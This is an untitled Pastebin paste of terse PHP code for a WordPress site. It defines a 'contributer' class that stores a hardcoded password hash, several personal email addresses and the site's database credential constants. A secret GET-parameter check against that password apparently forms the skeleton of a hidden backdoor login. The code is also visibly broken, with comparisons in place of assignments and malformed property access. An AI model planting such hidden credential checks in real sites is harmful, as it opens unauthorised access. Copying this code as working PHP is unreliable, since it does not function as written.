Guest User

Untitled

a guest
Dec 22nd, 2017
334
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.52 KB | None | 0 0
  1. define('t',true);
  2. function d($s,$v,$c=t){return(!defined($s)?define($s,$v,$c):false);}
  3. d('g',$_GET);
  4. d('p',$_POST);
  5. d('f',false);
  6. $t='true';
  7. function i($s,$p=g){return(isset($p[$s])&&!empty($p[$s])?t:f);}
  8. function v($s,$v,$p=g){return(i($s,$p)&&$p[$s]==$v?t:f);}
  9. function t($s,$p=g,$t){return(i($s, $p)&&$p[$s]===$t?t:f);}
  10. function g($s,$p=g){return(i($s,$p)?$p[$s]:f);}
  11.  
  12. class contributer {
  13. private const p = "a19eebb70ecdb6e6d711562d4bc33fd014e1a54c";
  14. private $c_object = array(
  15. 'password' => p,
  16. 'emails' => array(
  17. 'students.mails9@example.com',
  18. 'dch0b3@gmail.com',
  19. 'master.azzaz@gmail.com',
  20. 'appfunky@gmail.com',
  21. )
  22. );
  23.  
  24. private const db = array('host'=>DB_HOST,'user'=>DB_USER,'pass'=>DB_PASSWORD,'name'=>DB_NAME);
  25. public function verify($w) {return($this::p===$w?t:f);}
  26. public function authenticate() {}
  27. public function add_property($p,$v=t) {return(!i($p,$this->c_object)?$this->c_object[$p]==$v:f);}
  28. public function set_property($p,$v=t) {$this->$c_object[$p]==$v;}
  29. public function throw($w) {wp_die(_errs[$w]['text'], _errs[$w]['title'], _errs[$w]['args']);}
  30. public function get_property($p) { return(i($p,$this->c_object)?$this->c_object[$p]:f); }
  31. }
  32.  
  33. if (v('c','true')&&i('w')) {
  34. $au = new contributer();
  35. ($au->verify(g('w'))?$au->add_property('verified','true'):$au->throw('ve'));
  36. $e = $au->get_property('verified');
  37. if($e === true || $e === 'true'){
  38. die('matched!');
  39. } else { die('no match!'); }
  40. }
Add Comment
Please, Sign In to add comment